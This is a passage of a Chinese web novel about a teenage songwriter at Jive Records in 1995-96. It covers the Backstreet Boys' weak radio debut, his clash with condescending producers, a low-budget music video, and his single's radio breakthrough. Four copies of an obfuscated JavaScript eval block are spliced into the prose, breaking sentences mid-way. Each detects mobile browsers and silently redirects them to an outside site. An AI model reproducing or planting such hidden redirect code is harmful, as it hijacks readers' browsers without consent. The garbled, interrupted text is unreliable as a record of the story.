其他人都在沉默地咀嚼食物，只有凯文见没人说话，最后回答了这个问题：“……不是很好。上午的消息是，除了公司经常合作的几家电台愿意给最高优先级，其他最多只肯给到B。甚至还有的电台把我们的歌排到了最后。” 他叹了口气：“统计的数据也很一般，远远没有达到预期数值。” 不好的预感成真了。 “怎么可能，公司在做，”什么？ 阿尔文无意识地捏紧了瓶身，本能地就皱眉质疑，但话说到一半又像是意识到了什么，将那些冲到嘴边的质问硬生生咽了回去。 还能为什么呢？ 他太清楚这背后的运作规则了。 在1995年，这个互联网尚未普及的时代，唱片公司对艺人来说是庞然大物，但在整个音乐市场链条里，也不过只是其中的一环而已。他们并不能实时地获取电台播放数据，必须经过一系列繁琐的流程。 就以首日数据为例，在早晨上班后，公司的宣传团队就必须抓紧时间联系全国乃至世界各地的电台节目PD（总监），询问他们对新单曲的安排。 虽然事前就已经达成宣传协议，可这不意味着万事大吉，毕竟电台一般只承诺会播放，但并不承诺到底播放几次。哪怕事情答应得多肯定，也有可能临时变卦。 这种突发情况对艺人和公司的宣传策略往往会造成严重打击。 因为在美国广播行业，尤其是流行音乐电台中，歌曲的播放频率往往也意味着它能获得的曝光量。为了方便理解，通常可以分为三个等级，就以ABC为例：A等级优先度最高，会在高峰时段循环播放，主要留给当红艺人，例如麦当娜、玛丽亚·凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177999|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉等等这种一线歌手；B等级稍次，主要集中在下午和傍晚；但要是不幸被分到了C…… 那就自求多福吧。 除非歌曲质量够硬或者公司舍得下血本砸推广，不然就注定了会flop到谷底。 而哪怕jive唱片已经运作过，电台那边也并不愿意给后街男孩太好的资源。毕竟在绝大多数专业人士人眼里，男孩组合基本上就和低龄市场画上了等号。 这些人可不担心唱片公司会生气报复，因为他们往往才是音乐市场链条里占优势的那个，大不了给同公司其他人多点资源。 正是因为明白这背后的运作规则，阿尔文才会收回自己的话。 It’sok，阿尔文，It’sok。 这与你无关，你们不一样。 他深呼吸几下，试图安慰自己，但悲哀的是那根本无济于事。因为阿尔文无比清晰地认识到这个行业在年龄资历上的歧视和傲慢。他明白自己同样无法逃脱，甚至会因为长相受到更严苛的评价。 “坎贝尔先生怎么说？”他问，迫切地需要更专业的人士给他解答。 “他去等地方电台的数据了。” 阿尔文只能猛灌了一大口汽水，气泡在舌尖炸开，带来一阵阵刺痛感。他垂下视线，陷入了沉思。 正在此时，玻璃门突然被推开，总监拉曼·坎贝尔攥着一叠传真纸大步走进来。 原本窝在沙发旁焦虑啃指甲的尼克几乎是立刻跳了起来：“怎么样？” 拉曼·坎贝尔的表情有点难看。他面色凝重，眉头紧皱，深吸一口气才对着这群男孩宣布：“地方电台的数据已经传过来了，首日反馈……不太理想。” 具体实体单曲销量暂时还没有数据，需要等专业机构的统计，但通过询问不同地方经销商也能大致摸清销售情况。 那可不是个好消息。 一阵死寂。 所有人都面色凝重。 “你说的不太理想是什么意思？”在这种情况下，AJ是最先开口的。他一向如此，总是最叛逆也最不怕权威的那个，情绪有些激动：“得了吧，拉曼，现在就没必要遮遮掩掩，直接告诉我们什么情况！我就想知道那破电台到底播不播我们的歌！明明之前不是说已经谈好了吗？” “注意你的言辞，男孩。”拉曼坎贝尔抬起手警告他：“这种话在这里说说也就算了，出了门，你最好管好你的嘴巴。” 新人组合也敢随便议论掌握着他们“生死”的电台？小心人家直接断掉你的曝光。 AJ猛地站起身就想理论，但被早有准备的凯文按住肩膀。 “冷静点。”他的语气很平静，如果忽略那用力到泛白的手指的话。 AJ忍了又忍，自然明白不能对高层发火，但是心中又憋着一股气，只能狠狠地将头顶地棒球帽摔在地上：“我就知道！那帮人就是一群老古董！什么男孩组合，什么泡泡糖流行，全是胡扯！他们只是看不惯我们比他们年轻！这简直太不公平了！为什么掌握权力的反而是这些跟不上潮流的家伙！” 拉曼·坎贝尔揉了揉太阳穴，制止眼前这场闹剧，道：“行了行了。也不是没有好消息。” 在场所有人的视线全都聚焦过来。 拉曼·坎贝尔：“虽然本土的成绩一般，但海外的成绩倒意外得不错，德国的榜单今早居然进了前50。” 比起美国，欧洲的听众明显更青睐这首充满动感的舞曲。 这才是jive唱片原本期待的成绩。 “德国？”一直双手紧握，紧张盯着地面的布莱恩终于抬起头，蓝眼睛里闪过一丝希望，“那美国的呢？” “Billboard预测……首周可能进不了Hot100。”这还是积极预测。 在如此多资源砸下去的前提下，公司高层通过内部渠道问到的消息也很消极。拉曼·坎贝尔的回答算得上避重就轻，实际上首月累计数据如果能进前一百都算是成功。 砰！尼克一拳砸在墙上。 但此刻的愤怒显然无济于事，五个男孩都陷入了焦虑和不安的情绪。只要在这个圈子里稍微待上一阵就能明白它有多残酷。 没有人会对失败者有任何同情心。 24. 阴阳怪气 后街男孩的失利让整个公司都陷入了不安的状态。 原本是想借这种风格另辟蹊径，从大公司手里抢下一块蛋糕，谁知道却可能成为jive自己的滑铁卢。诚然他们不会把所有的资源都赌上，但前期投入的成本无法回收，早就定好的战略重点和长期经营计划也要跟着调整，所要耗费的精力难以估量。 到底是再赌一把，还是及时止损？ 大家都在紧张地等待着高层的决定，一时间人心浮动。 阿尔文原本是不焦虑的。 ……假的。 他焦虑到得知情况的当晚一顿狂轰乱炸，打了十几个电话给卡拉格，硬生生把六十多岁高龄的老人从睡梦中吵醒劈头盖脸骂了他半小时，才终于消停。 “看什么别人！&**%！管好你自己！我还能让你没地方发歌吗？与其担心这个，不如想想你今天曲子写了没？！别忘了你之前是怎么和我承诺的！” 这是美化过的版本。 阿尔文听到的那一版更不堪入耳。 被狠狠训了一顿的他悻悻挂断电话，但反而没那么坐立难安。 原本以为事情暂且告一段落，最起码短期内影响不到自己，毕竟他的发行计划还早，但阿尔文很快便发现，这把火已经烧到了自己头上。 在接下来的几次会议商谈中，那些制作人和A&R部门的工作人员像是达成了什么共识，以丹尼·摩尔克为主的一群人，非常默契地“忽略”了阿尔文。 其实也不算是忽略，因为在一些无关紧要的问题上，他们也会象征性地询问一下阿尔文的意见。但那就是全部了，除此之外什么都没有。 “这对你来说还有点太早了，阿尔文，你需要更多的时间。” 他们或亲切或严肃地喊着阿尔文的名字而不是姓氏，脸上带着友善的笑容，仿佛是真的为他好，但说出来的话却让阿尔文感到矛盾。“再等等，不要心急，你会有机会的。” “我会有机会？”阿尔文本能地感到不适。 身体里有什么东西在蠢蠢欲动，但被强压下去，他反而主动给这些人找理由。也许是我太敏感了。 直到又一次尝试加入到讨论中去却被打断后，看着丹尼·摩尔克那虚伪的笑容，阿尔文终于确定这不是错觉。 他明白自己遇到了什么。 敞亮豪华的会议室内，灯光明亮耀眼，仿佛可以照亮所有的阴影，让一切肮脏的事物无所遁形。但却衬得阿尔文的脸色更加阴沉。明明所有人都在讨论他的专辑、他的歌曲，但是他却被排除在外。 多可笑啊，就好像是一个局外人。 局外人？ 阿尔文被气笑了。 他低下头，从擦得发亮的桌面上看见自己的倒影，明明是在笑，却只有唇角勾起，眼睛里几乎是快要具象化的愤怒。 该死！我最近是不是表现得太好说话了？以至于没有人知道我以前到底是什么样的人？ 很多因为他刚进公司满是新奇而被忽略掉的细节再次浮现水面。那些若有若无的边缘化、语言上似是而非的不信任，说着冠冕堂皇的理由，但掩盖不了底下行业排挤与年龄歧视的真相。 回想起这段时间努力对所有人笑脸相迎，结果换来的除了得寸进尺，被当成软柿子捏外，没有半点好处的日子，阿尔文就气得牙痒痒。 他想他的策略完全错了，他就不该想尝试保持体面，不该因为听了别人的鬼话，说什么你最好表现得成熟点，就让自己忍气吞声。 Holyshit！完全忍不下去的阿尔文决定在沉默中爆发。 大不了换家公司，换不了公司就回去上学，违约金让理查德赔，那家伙有的是钱。 于是他突然开口，打断了还在滔滔不绝的丹尼摩尔克：“先生们，需要我提醒你们，你们今天在讨论谁的专辑吗？” 所有人都看向他。 丹尼·摩尔克用不赞同的眼神看着他，对他的打断很不满：“我们正在讨论重要的内容。” “重——要——？” “——Rea——lly？” “哦——我还真不知道这件事很重要——需要我离开，给你们腾位置吗？毕竟看起来你们也不是很在乎我在不在这里？” 请用那种最最刻薄、最最古怪、几乎mean到没边，能让任何一个人听完以后立刻血压飙升的语调来说这几句话，因为阿尔文就是这么做的。 他故意放慢语速，把每个词都拖得格外长，脸上还挂着甜蜜的笑容，蓝眼睛却像是结了冰的湖面一般冰冷。 “嘿！Language！”没有人听了可以不生气，丹尼·摩尔克当然也不例外。他生气地拍桌：“注意你的言辞！” 阿尔文夸张地倒吸口气：“哦——我的天啊——摩尔克先生——真对不起——我真抱歉我的言辞冒犯了你，但你刚刚不是说我太年轻了吗？这么年轻，犯点错也正常，你就让让我吧。” 甜蜜得过分的笑容在此刻成了十足的挑衅。 有人耐着性子，试图友好沟通：“阿尔文，你还不懂，唱片行业的规则很复杂，恐怕和你理解的不一样。” “哇哦，听起来你好像很了解的样子。”阿尔文双手环胸，故意慢吞吞地将说话的人从上到下扫视一遍，眼神里满是意味深长。 “那我可以请问一下，你们是怎么把后街男孩运营成现在这个样子？”阿尔文歪头看着对方，谦虚地询问：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178000|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也在你们的计划中吗？” 还有更刻薄的，比如“公司财务报表年年下跌也是你们故意的吗？是不喜欢钱吗？”等等这种mean到没边的问题，但阿尔文克制住了。 冤有头债有主，虽然开始阴阳全场，但他的理智仍旧在线，不会轻易地将自己置于公司的对立面上。这样哪怕被捅出去，他也可以借口说自己到了叛逆期，口不择言。大事化小小事化了，总能解决。 恰好，此时有人给他递来了“枕头”。 “这是高层的想法！” 阿尔文抓住重点：“让我理解一下，所以也是高层让你们无视我，谁说的？哪个高层？哪个部门？总监？CEO？创始人？谁？告诉我谁说的？我现在就去找他。” 没有人敢在这个时候爆出任何一个名字。 全场瞬间哑口无言。 其他人：你这家伙怎么不按套路出牌？谁家好人在职场上这么玩？不应该勾心斗角、阴阳怪气、打破牙齿往肚子里吞吗？干什么这么咄咄逼人？ 这个年纪的teenager就不该被放出来祸害人间啊啊啊！！！ 丹尼摩尔克气得脸发红：“你！” “我什么我？”阿尔文根本不给他机会说话，翻了个巨大的白眼，冷笑一声。“哈！我已经受够浪费时间了，要么做，要么走，爽快点，别拖拖拉拉的恶心人。” 他越说越激动，越说越爽快，到最后直接站起身，单手撑着桌面，俯视着所有人，激情开骂：“听着，我知道你们对我有偏见。老实说，我根本不在乎。但既然进了我的团队，连基本工作都做不好，我为什么还要继续忍耐？！” “DoIlooklikeafuckingmasochisttoyou?” 我看起来很像受虐狂吗？ 阿尔文嗤笑，语气轻蔑，丢下一句嘲讽便潇洒转身离去。 “做得好，先生们，继续保持。” 离开的姿势有多潇洒，十分钟后，打电话给理查德让他准备好违约金的阿尔文就有多狼狈。 但电话那头的老父亲贴心得没有询问原因，并慷慨解囊，表示愿意付清全部的款项，但之后不能再拿他没有承担起应有的监护义务来从道德层面上指责他。 “去死吧！” 阿尔文果断挂断电话。 然后拨通了卡拉格的电话号码。 “我做了一件不知道是对是错的大事，你做好心理准备了吗？身边有人吗？有急救药吗？”一接通，阿尔文就劈里啪啦问了一堆。 卡拉格警觉：“你干什么了？” “没什么，只是展现了一点点本性。”阿尔文坦然。 没错，只是一点点而已。 25. 无法理解 那天过后，阿尔文做好了自己会在欠下巨额违约金的同时被扫地出门的心理准备。尽管卡拉格在电话那头表示会处理好一切，但他还是不受控制地焦虑大爆发。 他就是这样，总是喜欢把事情想得最糟。 然而预想中的糟糕境地并没有真的到来，情况甚至还有些微妙。那天在场的人对他的态度突然变得格外客气。至于怎么客气？谁说敬而远之就不是客气？ 阿尔文敏锐地察觉到了这一点。尤其是丹尼·摩尔克，更是好几天都没有出现在他面前进行一番令人想狂翻白眼的说教。 这太奇怪了，很难不让人怀疑背后有更大的阴谋。为了不让自己半夜做噩梦，阿尔文迅速找到约翰·乔尔打听消息，并为了使自己的话更有说服力，使用了一些精妙的比喻。 “这很奇怪，非常奇怪，你知道的，让摩尔克控制住说教欲简直就像是让狗控制住自己不要乱尿一样困难。” sorry，有点过于mean了，但是阿尔文养过狗，知道那有多贴切。 听到这种比喻的约翰·乔尔露出了一言难尽的表情，但还是告诉了阿尔文具体情况。 这群人并不是不想找事，而是去找了高层投诉以后，反而被一顿好骂。“连一个青少年都搞不定还好意思说，找我做什么，让我来给你们擦屁股吗？！一群蠢货！” 据说场面当时十分尴尬。 约翰乔尔说得很幸灾乐祸。他是个同事关系处得不怎么样的人，梦想就是能够靠近钱、远离人。可惜总是无法如愿，因此非常乐于看到排挤他的同事吃瘪。 “不过高层态度这么明确也有另一个原因，”约翰乔尔点出，“这次的试听会反响非常不错，他们现在不会放过每一个机会。” 阿尔文专辑的初版demo已经制作了大半。在后街男孩身上受挫的jive唱片几乎是迫不及待地在内部组织了试听会，并向熟悉的、经常合作的电台代表和节目编导播放了初稿，试探市场反应。 结果相当不错。 尤其是电台，在后街男孩身上含糊其辞的他们难得给出了相对肯定的答复。今年大火特火的励志ballad《YouGottaBe》可谓是火遍全球，给电台带来的收益相当可观。虽然今年还没结束，但他们早已迫不及待地想要迎来下一首大爆曲。 在这样的前提下，jive总是愿意多给年轻人一点耐心。 听完这种猜测，阿尔文并没有露出兴奋或者松口气的表情，反而面色沉重。修长的手指无意识地敲击桌面，节奏越来越快、越来越快，直到快晃花约翰乔尔的眼时才突然停住。 “所以他们现在的底线很低？” “……是的？” “有多低？” “……嗯，也许，只要你不过界？最起码我听到的消息是，不要告诉别人是我和你说的，只要你不在这时候打算跑路，就尽可能满足你的一切要求。” “……” 几秒钟的沉默。 阿尔文一时间不知道该说什么，心情复杂，英俊的脸上满是困惑和不解。 “你说他们到底在想什么呢？”他甚至想要抱住脑袋，他也确实这么做了，捂着额头不知道该说什么好。“我之前一直努力想要，你知道的，像个成年人一样，保持体面，成熟，和每个人搞好关系，让大家看到我工作的态度。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178001|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没想到反而是生气才能达到这种目的……” “……见鬼，这真是太荒谬了。” 这难道还不够荒谬吗？看呐，他生气，他爆发，反而能够得到他想要的。就像是你打了人一巴掌，原本很心虚，结果对方却装作没事人一样对你笑脸相迎，甚至还会觉得你很有个性…… Eww！听起来就好恶心！ 这让阿尔文被迫想起了一些不好的回忆。 约翰·乔尔提醒他：“但你知道的，所有的礼物都明码标价，如果你之后的成绩……” 约翰乔尔后面的话没有说出口，但阿尔文也完全明白。如果他之后的成绩不能让jive满意，那么此时的让步就会被全部收回，那些人会露出冷血残酷的一面。 “但我不在乎。” 从阿尔文露出了今天的第一个笑容，那双漂亮的蓝眼睛倏地亮了起来。如果真的只是这样的话，那他反而更能接受，总比知道自己在和一群被骂还爽的受虐狂一起工作要好。 他喜欢纯洁的利益关系。 “乔尔先生。”阿尔文喊制作人的名字，尾音故意拖长。 在熟悉后，阿尔文就开始喊他的名字约翰，只有特殊情况，例如阴阳怪气或者有什么坏点子的时候才会又喊他姓氏。约翰·乔尔差点起了鸡皮疙瘩，抬头一看，只见英俊得仿佛雕塑般的男孩此刻正挑眉看他，笑容甜蜜，眼角眉梢都带着狡黠。 约翰·乔尔心中升起一股不好的预感：“……什么？” “没什么，只是我突然想到个有趣的主意。”阿尔文用最轻快的语气说最险恶的话。 “让我们来试探试探jive的底线吧。” 26. 竞争力 试探别人的底线是一件很有意思的事情。 就像是一场精心设计的心理博弈，尤其是在双方都心知肚明的情况下，更是有种在悬崖边上拉手跳恰恰的刺激感。 阿尔文一开始还维持着表面上的客气。可试探着试探着，他突然发现工作推进得从未如此顺利、如此丝滑，以往需要三四遍才能通过的提案现在一次就能敲定……Jesus！我早该这么做了！ 在抛弃了原本就少的可怜的负罪感后，整个团队就像是被按下了加速键，专辑进度以惊人的效率推进着。 随着音乐制作的内容进入收尾阶段，其他部门也开始逐渐加入到流程当中。 阿尔文的日程中也出现了视觉相关的工作，例如定妆照、音乐录像带的拍摄等。 按照业界惯例，以及基于成本控制的目的，一张专辑通常只会为主打歌曲拍摄MV。经过讨论，jive唱片和阿尔文团队最终都确定以《TheRide》作为主打。 比起需要华丽舞台效果的舞曲，民谣风格的MV简直省钱到让人感动，既不需要炫目的特效，也用不着搭建夸张的布景，只要安安静静地找个地方拍点唯美的画面就好。 但企划部的负责人显然不这么想。 “要不要考虑去新西兰取景？那里的风景特别美，而且非常符合这首歌的意境！”他热情地提议，眼睛里闪烁着怂恿的光芒：“我们可以直接外景拍摄，租一段沿海公路，捕捉原生态的驾驶镜头，营造那种公路旅行的氛围！” 阿尔文当时正歪在沙发上打游戏机，闻言头都没抬，手指灵活地操作着按键：“不需要。” 说到这，就不得不提目前音乐界一个心照不宣的黑暗手段，亦或是甜蜜陷阱。 在刚开始，唱片公司往往会给摩拳擦掌、准备大干一场的新人提供一个看似充裕的预算，用于首张专辑的制作。 以为公司会精打细算不允许你超标一美分吗？不，事实恰恰相反。 在制作专辑的过程中，他们会不断给你建议：要不要升级一下设备？要不要找个音乐老师？要不要联系更大牌的制作人？录音棚太寒酸？不如包个豪宅搞创作？派对不够档次？我们可以为你举办更带劲的场子！ …… 无穷无尽的诱惑，只为了让你花掉更多的预算。 等你回过神来就会发现，怎么专辑还没做好，却已经欠了公司一屁股债？？这时候后悔已经来不及了，为了还上这笔钱，你就会被迫签下更多剥削性的条款。你知道那有多糟糕，多可怕，但是你不得不这么做，因为你欠了很多钱。 这就是1995年唱片公司的手段。 但这个手段在阿尔文身上却没什么效果。这个自己包办词曲的天才少年不仅省下了购买demo的高额费用，还过着令人难以置信的规律生活：每天除了工作室、学校、家，三点一线外，对派对或者其他消遣敬谢不敏。就连以前偶尔会和尼克·卡特他们出去玩的娱乐活动，现在也全部取消，一副清心寡欲工作狂的模样。 实际上阿尔文是真没招了。 卡拉格说要每天写曲子，就真的是每天，everyday，少一天都不行。他自己在洛杉矶没法监督，就派来了卢卡斯。说是助理，但阿尔文认为其本质就是监工，每天虎视眈眈地跟在身边看他有没有写歌。 不仅如此，卢卡斯还得到了母亲克莱尔的大力支持，她甚至将艾米莉的“额外任务”全部外包给了卢卡斯，并慷慨地给了一大笔丰厚的奖金。 在这种情况下，阿尔文哪还有心思去玩，现在窝在这里打游戏都是难得的消遣。 手指在按键上啪嗒啪嗒按得飞快，好在他很擅长一心两用，稍微动动脑子就能明白对方在打什么主意，所以阿尔文拒绝得很干脆。 “怎么会不需要呢？视觉效果在宣传里也很重要！”企划部负责人不甘心放弃，继续试图说服眼前的年轻人，他挥舞着手臂试图增加诱惑力：“新西兰的峡湾、复古火车、还有沿海公路……你听听，这些大场面肯定会让观众心甘情愿地掏腰包的！” 阿尔文回答得还是很坚定：“不要。” “但这样根本没有竞争力！”负责人的声音陡然拔高，引得旁边的工作人员都偷偷往这边瞟，“你知道玛丽亚·凯莉之前的MV花了多少预算吗？他们租了私人岛屿！私人岛屿！” ……好烦，他就拍个民谣MV，租什么私人岛屿？阿尔文皱起眉。租租租，先不说有没有钱租，租了就能保证能卖得出去吗？销量的根本不还是在于歌曲质量吗？歌不好听，你就是去太空拍摄也没用啊？ 阿尔文看企划部负责人还想说什么，便把游戏手柄往沙发上一摔，懒洋洋地陷进靠垫里。反正说来说去他都不会答应多花钱的，便决定开个玩笑转移大家的注意力。 “你真的想要竞争力吗？” 企划部负责人以为他动心了，连连点头，正准备再接再厉时，就看见年轻人嘴角勾起抹漫不经心的笑。 阿尔文：“我的脸就是最好的竞争力。” 其他人：“……” 阿尔文：“……”你们怎么不笑？ 其他人：“……” 在场所有人面面相觑。 “……你是认真的？还是只是开玩笑？”企划部负责人的表情像是生吞了一个柠檬。 “当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178002|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开玩笑！”阿尔文睁大眼，坐直身体，不敢相信真的有人信了！这合理吗？“你们在想什么呢？！难道还真的要怼脸拍三分钟特写吗？” 虽然也不是不行，那能省掉多少预算？ 企划部负责人有口难言。 这句话换一个人来说就会显得过于自恋和可笑，但放在眼前的年轻人身上又显得如此理所当然，毕竟在绝对客观的美貌面前，无论你是什么审美都会为之倾倒。就连眼下熬夜形成的青黑都成了美丽的一部分，带着些颓丧气息，慵懒又迷人。 别人说可能是开玩笑的，但放在他身上是真的有可能啊！ 阿尔文新来的助理卢卡斯也张了张嘴，视线在阿尔文那张轮廓分明的脸上滞留了两秒，抓了抓后脑勺，含混地嘟囔道：“……其实真那样拍的话，我也会买的。” 这回换阿尔文闭嘴了：“……” 不是哥们，你什么意思？ —— MV的拍摄最终还是一切从简，并没有去新西兰拍摄外景，而是选择了66号公路，好呼应歌曲的主题。 内容拍摄得相当轻松。具体表现为导演除了只会喊bravo、perfect、再来一次外好像不会说其他的。 阿尔文不太确定自己是不是表现得真的那么好，但从摄制组满意的表情来看应该不差。 专业的事情交给专业的人做。他自己则趁着刚好拿到驾照的时机，美美感受了一把自驾游。 不过从洛杉矶回来以后，之前那种略带悠闲的准备时光便一去不复返，工作强度直接翻倍。 圣诞彩灯还没拆干净，jive唱片大楼里就已经忙得像是被捅了的马蜂窝。 所有人都忙得不可开交。 在1996年，歌手发歌的宣传策略尚且比较单一，首先要提前两至三周进行电台预热，再通过电视节目进行宣传，最后才会到正式线下售卖环节。对于新人来说，没有粉丝基础，就更要抓住前期的宣传机会。 而作为主角，阿尔文则要配合宣发，赶在电台首播前完成一系列密集的准备工作：录制电台采访ID、拍摄宣传素材、参加内部试听会。定妆照和录像带在高层审核后都很满意，除了某些人仍旧私下嘀咕他“漂亮得不像实力派”。 阿尔文权把这些话当作赞美。 他的注意力现在完全落在即将到来的首播日。 巨大的期待与无边的担忧在大脑里相互搏击，混乱的思绪折磨得他好几天晚上都睡不着，直被时间推到了预定好的日期才松了口气，终于可以结束这种焦灼的筹备与漫长等待。 2月15日，《TheRide》即将登陆各大电台。 27. 首周成绩 这是多拉第一百次后悔自己没有带耳机，当然，只是夸张说法，并没有真的一百次。她只是受够了父亲又把电台调到了那该死的乡村频道…… “你就不能换个频道听？这么多年了难道不会腻吗！” 每次父亲送她去学校，坐上这辆皮卡，她就要被迫听一路那些无趣的、慢悠悠的乡村民谣，对于喜欢摇滚和舞曲的多拉来说简直就是酷刑！ 但跑又跑不掉，只能发出一些没有意义的抱怨。 果然，对自己品味非常有自信的父亲丝毫不准备调整，还嘟嘟囔囔地小声抱怨：“你根本不懂真正的音乐……” “真正的音乐？你说的是那种每首歌都在哭诉我的车坏了、老婆跑了、狗死了，但是没关系，只要有啤酒我的人生就不会完蛋的音乐？”多拉毫不惯着他，辛辣地吐出一长串评价，堵得父亲哑口无言。 “又不是所有的民谣都是那样……也有好听的啊……而且你听得那些不是也很吵吗……算了……我吵不过你。” 但哪怕品味被贬低成这样，他也坚持不换频道。 多拉受不了他，只能在钢琴声又一次响起时翻了个大大的白眼。 她不耐烦地降下车窗，让风顺着窗口呼啸着灌进来，好让自己少受点折磨。 说真的，有些歌她都不想说，真的不是破锣嗓子吗？ 然而接下来响起的却不是那些耳朵要听出茧的“醇厚”嗓音，而是一个清澈的、带着少年人特有透亮质感的嗓音。 “Icanalmostfeelit……” 清亮、圆润。 在第一秒就轻松抓住人的耳朵。 嗯？ 这次好像不太一样？ “哦，这是这周的新歌，听起来不错，昨天我还打电话问电台怎么不多放几次呢。”一有音乐，父亲又支楞起来，手指在方向盘上打着节拍。他没注意到女儿的反应，兴致勃勃地用他那沙哑的嗓子不成调地哼唱着。 “特别适合开车听，我觉得你肯定会喜欢。” “我才不会。” 话虽如此，但多拉却不受控制地悄悄竖起耳朵。 歌曲平稳地推进着，鼓点轻轻加入，如同心跳的节拍。 “EveryturnI’mtaking, EveryroadIchoose, Leavesmesecond-guessing, LikeI’mborntolose.” 简单的吉他拨弦，这个干净又带着点韧劲的男声唱着略带忧愁的旋律。歌词简单，却莫名让多拉能轻易地感受到对方的情绪。那种犹豫、那种困惑、那种不知如何是好的迷茫，让她不自觉地就开始联想起自己的生活。那些也正是她所面临的困境。 然而当副歌来临的那一刻，所有的乐器仿佛约好了一般，骤然变得明亮而开阔！ “ButI——Iwon’tstopmatching” Gottachasethathorizonline!” 那歌声也拔高、变得充满力量，不再是低吟浅唱，而是一种坚定的宣告。 “总会有下一段征程， 总会有更远的路要行， 有时车轮会渐渐停滞， 但我绝不会停下脚步！” 旋律层层攀升，充满了昂扬的斗志和乐观的情绪。它不像多拉常听的摇滚和舞曲那样轰炸耳朵，给人强烈的刺激感，却有一种民谣特有的、直抵人心的推动力。 恰好走在一段无人的街区，父亲的车开得飞快。 公路笔直地向前延伸，两旁的树木快速后退。风吹过手臂，阳光洒在方向盘上，伴随着那清亮的、层层递进的歌声，整条公路仿佛都跟着旋律变得明亮起来。 多拉的嘴角不自觉地扬起，无意识地用脚尖打着拍子，心情像被鼓满了风帆。 所有琐碎的烦恼都被这旋律和清风一同带走了。 它让你相信，眼前的坡道根本不算什么，就有更美的风景。这不是一首吵闹的歌，却能让人的心情跟着它的节奏。 一路向上，向上。 在歌曲进行到最后的高潮部分，重复唱起还有更远的路要走时，多拉突然也跟着一起哼了一句：“It’sallabouttheride～” 唱完，她自己都愣了一下。 见鬼，我到底什么时候记下的歌词？她的动作猛地僵住，但已经来不及了，正好被父亲抓个正着。 “哈！我就说你会喜欢吧！” 多拉嘴硬道：“我才没有！” 真的没有吗？ 哪怕多拉不想承认，但是她确实不讨厌。甚至走在学校长廊时，脑子里都开始不受控制地回放起这首歌的hook……天呐！完全忘不掉！这首歌到底对她的脑子做了什么！ 更可怕的是，就连在等朋友一起放学时，好朋友在整理背包时无意间哼出的曲调也是那么熟悉。 多拉怀疑自己听错了：“你哼的是什么歌？” “歌？哦，我不知道，我就是路上听到然后就记住了，还挺好听的！而且不知道为什么，我总觉得唱歌的人肯定很年轻。这么好听的声音，不知道他本人长什么样，真好奇！” 好朋友兴致勃勃地询问：“你知道这首歌叫什么吗？” 多拉：“……我不知道。” 但她选择了屈服：“但或许我们可以一起去查查看。” 这样的场景不仅仅只发生在德克萨斯，也发生在美国各个城市。 —— 2月底的纽约，空气中还带着冬日的凉意，却无法阻挡一首新歌的热浪席卷而来。 轻快的节奏、洗脑的副歌，还有朗朗上口的旋律，让《TheRide》在刚刚登上纽约Z100电台时，便瞬间抓住了听众的心弦。 要知道Z100不仅是纽约音乐市场的霸主，也是全美最具影响力和标志性的热门电台之一。它的信号覆盖度极强，包括从纽约到新泽西的大片区域，触及数百万听众。作为行业的风向标，一举一动更是能左右流行趋势。 在这里崭露头角，就相当于握住了通往BillboardHot100榜单的通行证。 而凭借着Jive唱片与电台的良好关系，以及歌曲本身过硬的质量，《TheRide》听众点播电话远超预期！排名在一周内持续攀升，从50名外一路闯进前20，并在首周结束前将名次锁定在了第19名！ 新人！ 首周！ 第19名！ 这简直是梦幻般的开局！ 宣传团队紧绷的神经终于稍稍松弛。 谢天谢地，在后街男孩遭遇滑铁卢后，要是阿尔文也表现不佳，那他们就干脆洗洗睡吧。也别做梦什么能不能改变美国音乐市场格局了，直接接受索尼的收购就行。 连克利夫对着电台高层吹嘘的那句“下一个惠特尼·休斯顿”都仿佛镀上了一层金光，变得愈发耀眼，且具有说服力。 没有吹嘘像迈克尔·杰克逊是因为阿尔文明确表示了自己不跳舞，哪怕他会，为此克利夫还好一阵失望。 英俊的男孩跳着帅气的舞蹈，OMG，他都不敢想象那该有多赚钱！ 